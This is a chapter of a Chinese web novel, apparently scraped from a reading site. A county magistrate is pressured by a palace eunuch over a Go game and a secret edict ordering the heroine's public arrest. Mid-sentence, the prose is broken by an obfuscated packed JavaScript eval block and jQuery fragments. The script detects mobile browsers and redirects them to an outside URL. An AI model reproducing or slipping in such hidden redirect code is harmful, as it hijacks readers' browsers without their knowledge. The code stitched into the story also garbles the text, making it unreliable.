“哟,我这来的,倒是不凑巧了。”
正待众人手足无措之际,门外响起一道尖细的声音。
冯知福迈着小碎步,一边走一边探头往门里瞧着,地上躺着一个,床上还倒了一个,他脸上带着莫名的笑:“看起来,县令这是有要事啊,还挺忙。”
去而复返,不安好心。肖寻岳心下一沉,转过身拱手:“冯内侍。”
冯知福摆摆手,脸上笑嘻嘻的,自顾自进了门一屁股坐下:“哎呦县令,您可别怪我又不请自来,只是刚刚走出门,突然想起有件事儿忘了说,这才折返回来。”
“内侍说笑了,下官不敢。”
肖寻岳盯着他的眼睛,来的不凑巧?分明是来的太凑巧了,巧到让他不得不怀疑这其中有没有什么猫腻。
“内侍,今日县衙诸事繁多,不妨先行移步前厅,我随后便到。”
冯知福朝身后使了个眼色:“县令莫急,我瞧着这两人的情况,也不是不能救。”
那帷帽男垂首上前,蹲下身就要把什么东西往曲择嘴里塞。
“这是什么?”花醉州伸开手拦住他,问道。
那人就这样被她拦着,抬起头看向她,但是一句话也不说,像个傀儡。
“娘子放心!不是毒药,只是能暂时保命而已。”冯知福捏着嗓子,越过肖寻岳回复道。
不是毒药?花醉州蹙着眉,不仅来的巧,还正好有解药,真是诡异。
“你再拦,人就真死了。”他突然开口,依旧是那破布一般的嗓音。
花醉州不通药理,只好朝颜斐努努嘴,颜斐会意,凑近吸吸鼻子,撑着下巴念出一大串药名:“当归、人参、白芷……师姑,真的有用。”
他都这么说了,应当是没问题,而且两人现在都昏迷不醒,她也不好再拦。
帷帽男见她垂下手,手腕一动,两颗药便准确无误地飞入两人口里。
这等功夫!花醉州心下一惊,习武之人对于对手有着天然的敏锐,如果说刚刚在前厅她还只是怀疑,那么现在,她基本可以完全肯定,这男人就是昨晚的黑衣人。
喂完药,男人起身走回冯知福身后,错不了,昨晚那人的重心就习惯性的压在左脚,今日虽有伪装,但习惯骗不了人。
如此说来,这冯知福也不清白。
那药刚喂进去,两人的呼吸就渐渐平稳,紧拧着的眉头也开始松开,颜斐把手搭在曲择腕间,脉象平缓,只是还有些沉,看来这药确实有效,虽没立刻好转,但好歹是暂时活过来了。
颜斐起身朝花醉州和肖寻岳点点头,示意无事。
肖寻岳这才放下心思索着,曲择刚中毒,冯知福就恰好回来,还正好有救命的药,巧合太多,那就不是巧合了,是筹谋已久。
那今日冯知福来这一遭只怕不只是为了颁圣旨,不过,还会是因为什么呢。
“县令,我瞧这两位小友暂时无事了,可否借一步说话?”冯知福侧过身,伸手指向门外。
来了,果然不只是送个药这么简单。
花醉州下意识扯住肖寻岳的衣袖,不能去,最起码不能单独待在一起,这人只怕是来者不善。
肖寻岳错身一步,挡住了花醉州,背过手拍拍她的小臂:“内侍可否让我先安顿好这两人,我立马去前厅。”
冯知福站在门口,半天没说话,空气近乎凝滞着,肖寻岳差点以为他不答应,他却突然开口了:“县令心怀百姓,知福佩服,那我便先行一步。”
肖寻岳悄悄松了口气:“恭送内侍。”
待人走远,肖寻岳“砰”的一声关上门,转头说道:“有问题!”
“有问题!”
两道声音夹杂在一起,同时说出。
花醉州看向面前站着的人,不知道为什么,她总隐隐感觉,有什么东西在失控。
“你也察觉到了。”肖寻岳说。
“嗯,”花醉州点点头,“我现在可以肯定,昨晚的黑衣人,就是冯知福义子,他若敢推脱没受指使,我不信。”
“无论如何,这冯知福,今日都来者不善。”
“那你还要去见他吗?”
“自然要见,他现在的身份,是圣上钦使,更何况,想拆招还需见招。”
肖寻岳转过身:“阿醒,颜斐,帮我照看好他二人,我去去就回。”
“不行,这个冯知福绝对有问题!”花醉州拉住他的袖子,阻止道。
肖寻岳笑笑,安抚道:“我是朝廷官员,再如何,他也不敢杀我,况且,还要麻烦你帮我把阿良带回家,他一定在厨房呆着,现下已经晌午,他妹妹会着急的。”
说罢,肖寻岳头也不回的走向前厅,花醉州看着肖寻岳的身影一点点消失在拐角树荫,心里一阵发堵,莫名不踏实。
“师姑,难道真的就让县令这样一个人去赴约吗?”颜斐自觉迟钝,脑子不灵光,但今日之事,饶是他也嗅到了一丝不寻常。
“当然不是,但我要先安顿好阿良。”
“话说,阿良是谁啊?”
花醉州顿了顿:“说来话长,等日后有机会再讲与你听。”
*
前厅雅致,有一扇檀木雕花的门,平日都是开着的,阳光一照,树叶斑驳洒在阶上,端的是几分意境。
只是如今却房门紧闭,肖寻岳吸了口气,上前一步开门迈过门槛,突的脚步一顿。
疾风掠过,冰冷的刃紧紧贴在他的脖子上,似乎下一刻就要划破脖颈,流出温热的血,肖寻岳站定在原地,动都没动。
身后紧跟着传来拍掌声:“面对刀光剑影,亦岿然不动,肖明府好魄力。”
“不敢当,不过是觉得,这剑不会危及性命罢了。”
冯知福挥挥手,男人挽了个剑花收起剑:“县令莫怪,我这义子啊,太过警惕,没有误伤县令吧?”
虚情假意。
肖寻岳默默道:“无碍,”他朝戴着帷帽的人笑了笑,“力度控制的极好,习武很久了吧?”
男人却只是垂着头站在冯知福身后,不回话。
“啧,县令问你话呢!你个榆木疙瘩!”冯知福翘着兰花指,用拂尘打了他一下。
男人朝肖寻岳点点头:“是。”
一个字就当是回答了他的问题了。
肖寻岳也没在意,反正他已经得到他想要的回答了。
“县令不用管他,他就是这样无趣。”冯知福转回身来,朝肖寻岳说,“我这次来,是有一个疑惑,想请县令帮忙解惑。”
“不敢,内侍都不明白的事,肖某怎敢自不量力?”
“不过是一局棋罢了,但是个残局,我这年纪大了,脑子不好使,便只好腆着脸来问问县令了。”
棋局?肖寻岳抬眼看向冯知福,这卖的什么关子,想他冯知福当初能得圣上青眼,就是因为一手好棋艺,如今他说有解不了的局,他又如何能解。
“来来来!摆上来!”冯知福拍拍手,朝门外喝着。
两个白衣童子翩翩进入,放下棋盘和棋子便出门而去。
“县令瞧瞧,这棋局如何?”
棋盘之上,黑守白攻,双子如同太极一般扭紧,不分彼此,粗看一眼只觉似是二龙争霸,细看便知白子攻势渐颓,黑子虚实相守,反倒占优势。
“围棋虽为诡道,却有其精妙,就此局看来,白子势颓,却未必后力不足。”
“嗯,”冯知福撇撇嘴,点头赞同,“说的没错,不愧是新科状元郎啊。”
肖寻岳一拱手,恭维道:“早闻内侍棋艺精湛,今日一见,果然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449772|201146||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
名不虚传。”
“哎,这算什么,比起陛下,我这只是皮毛罢了,毕竟这棋局,可不是我摆的。”知福笑着摆摆手,单纯的仿佛只是在说这盘棋。
肖寻岳笑了笑,状似不经意般开口:“如此,那陛下真可谓天下之君。”
“哦?”冯知福那精明的绿豆眼在肖寻岳脸上转转,问道,“县令何出此言?”
“观此棋局,陛下有囊括四海之意,并吞八荒之心,如何不是天下之君?”
“瞧瞧,这状元郎说话就是好听,只不过,当时的秦孝公尚有商君辅佐,但如今这时世,可不知有没有商君能够辅佐陛下喽。”冯知福一边说一边试探着走下一步棋,平淡的好似唠家常。
商君。
呵,他就不信这冯知福不知道子商是他的表字。
“我既是肖家人,自当遵祖训,辅佐明君,万死不辞。”
冯知福拢拢袖子,好似突然想起了什么:“哎呀,我记得,你好像有个名号,可是名满大雍啊。”
当年他一出生,国师便卜算了一卦,说他此生,专司辅佐天子,直到后来,弱冠之年高中状元,他的名号也越传越远。
“世人皆道我,惊才绝艳弼君郎。”
“嗯,弼君郎,”冯知福努努嘴,重复一遍,“所以,郎君,你可千万要想清楚,这个弼君的君,是哪个君。”
他说的太直白了,直白到让肖寻岳避无可避。
“只可惜,我本无心仕途。”
“无心仕途?”简直是荒谬,冯知福继续说:“若真无心仕途,何须考取功名?”
肖寻岳抬起头,不卑不亢,嗓音清朗:“家父所愿。”
像是知道他会这样说似的,冯知福冷笑一声:“既如此,那我不妨直说吧,曲择的毒,不是我下的,宋县丞呢,也不是我杀的。”
“什么?”这话如同一记惊雷,能让肖寻岳的所有猜想瞬间不成立。
如果不是冯知福动的手,那就说明还有另一个人搅在局里。
只是。
“吴耳呢?”吴耳是他动的手吗。
此话一出,冯知福那位义子手一紧,握住腰间剑柄:“大胆!小小县令,竟敢质疑内侍!”
“哎,”冯知福抬手制止,问道,“县令说的谁?无尔是谁?”
肖寻岳笑了笑,他问的冯知福,这义子急什么:“没事,内侍只当我随口一问。”
冯知福也没再管,说:“县令不妨好好想想,为何县衙里会莫名出现关于你的谣言,又为何迟迟未散布出去。”
见时机差不多了,冯知福掏出一份密旨:“曲塘县令肖寻岳,接旨。”
“接旨?”肖寻岳皱皱眉头,问道。
“接旨!”冯知福厉声道,肖寻岳心犹存疑,却也不得不跪下接旨。
“曲塘凶案,朕虽远在京师,亦有耳闻,今闻家花醉州,朕觉其嫌疑犹大,着即刻押解京师,沿途示众。此为密旨,除曲塘县令不得听。”
内容不长,几息之间便读完了,肖寻岳垂着头,抬起的手止不住发抖,圣上这是何意,想让他在花醉州和宋县丞之间二选一吗?
“县令,圣上说了,这份密旨,一旦宣读,便给你半日时间,所以,明日巳时之前,若还未将花醉州游街,就判你欺君之罪了。”
欺君之罪,当处极刑。
可花醉州分明没错,送什么京,示什么众!
冯知福弯腰凑到他耳边,压低声音:“县令若是不愿,这不是有一个现成的替罪羊吗?”
他指的是曲择。
肖寻岳捏着手里的圣旨,手越收越紧。
“言尽于此,季怀,我们走。”冯知福叫上他那义子出了门,徒留十月冷风阵阵吹入房中,吹得肖寻岳心生寒意,衣角带霜。